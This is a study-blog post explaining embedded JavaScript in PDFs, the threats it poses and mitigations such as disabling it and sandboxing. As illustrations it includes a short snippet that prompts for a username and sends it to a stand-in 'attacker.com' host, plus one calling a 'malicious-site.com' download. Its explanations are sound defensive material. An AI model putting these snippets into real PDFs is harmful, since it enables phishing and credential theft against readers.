psk-study

JavaScript in PDFs

박서경's photo
박서경
·

3 min read

Table of contents

Execution-Command and Scripting Interpreter→JavaScript in PDFs

JavaScript in PDFs: How It Works, Threats, and Mitigation

📌 How JavaScript Works in PDFs

PDF (Portable Document Format) files support embedded JavaScript that allows them to perform automated actions such as form validation, data calculations, and interactive elements. Adobe Acrobat and other PDF readers support AcroForms JavaScript API, enabling dynamic content inside PDFs.

✔ How JavaScript is embedded in PDFs:

  • JavaScript is included in PDF objects and executed when the PDF is opened.

  • It can be stored in:

    • Document-level scripts (executed when the document opens).

    • Field-level scripts (triggered when users interact with form fields).

    • Page-level scripts (executed when a specific page is viewed).

  • Example:

      this.getField("Name").value = "Pre-filled Value";
  app.alert("Hello! This script is running inside a PDF.");

  • Tools like Adobe Acrobat allow users to add JavaScript via Tools → JavaScript → Document JavaScripts.

⚠️ Why JavaScript in PDFs is a Security Threat

💀 1. Malicious Code Execution

  • JavaScript in PDFs can execute system commands or interact with files.

  • Attackers can exploit vulnerabilities in PDF readers to execute arbitrary code.

💀 2. Social Engineering Attacks (Phishing PDFs)

  • PDFs with fake login forms can be used to steal credentials.

  • Attackers craft PDFs that mimic legitimate documents (e.g., invoices, banking forms) but embed JavaScript to redirect users to malicious websites.

💀 3. Automated Malware Downloads

  • PDF JavaScript can automatically download and execute files when opened.

  • Example:

      this.submitForm("http://malicious-site.com/download.exe");

  • Some exploits use JavaScript to trigger shell commands for system infection.

💀 4. Exfiltrating Sensitive Data

  • JavaScript can extract user information, such as:

    • System details (OS, username).

    • Clipboard contents (stolen user input).

    • Keystrokes (through hidden fields).

  • Example:

      var userName = app.response("Enter your username:");
  var sendData = "http://attacker.com/steal?user=" + encodeURIComponent(userName);
  this.submitForm(sendData);

💀 5. Bypassing Traditional Security Measures

  • Many email filters and antivirus tools focus on .exe, .bat, or script files, but malicious PDFs often bypass detection.

  • Attackers obfuscate JavaScript inside PDFs to evade analysis.

🛡 How to Prevent JavaScript-based PDF Attacks

✔ 1. Disable JavaScript in PDF Readers

  • Adobe Acrobat:

    • Go to Edit → Preferences → JavaScript

    • Uncheck Enable Acrobat JavaScript

  • Foxit Reader, SumatraPDF, and other readers provide similar options.

✔ 2. Use Secure PDF Viewers

  • Prefer PDF viewers that disable JavaScript by default, such as:

    • SumatraPDF

    • Google Chrome PDF Viewer (sandboxed)

    • Mozilla Firefox PDF.js

✔ 3. Enable Email and Web Filtering

  • Block PDFs containing JavaScript in email attachments.

  • Use email security gateways (e.g., Proofpoint, Mimecast) to scan PDF content.

✔ 4. Use Endpoint Protection and Sandboxing

  • Use Next-Gen Antivirus (NGAV) solutions that detect JavaScript-based exploits inside PDFs.

  • Open untrusted PDFs in a sandboxed environment (e.g., Windows Sandbox, AppArmor).

✔ 5. Regularly Update PDF Readers

  • Keep Adobe Acrobat and other PDF software updated to patch exploitable vulnerabilities.

✔ 6. Analyze Suspicious PDFs

  • Use PDF forensic tools to inspect JavaScript inside PDFs:

📌 Summary

  • JavaScript in PDFs allows automation but is often exploited for phishing, malware execution, and data exfiltration.

  • Attackers use malicious JavaScript inside PDFs to steal credentials, execute commands, or download malware.

  • Disabling JavaScript in PDF readers, using email filtering, and sandboxing suspicious files can mitigate these risks. 🚀

Command and Scripting Interpreter#execution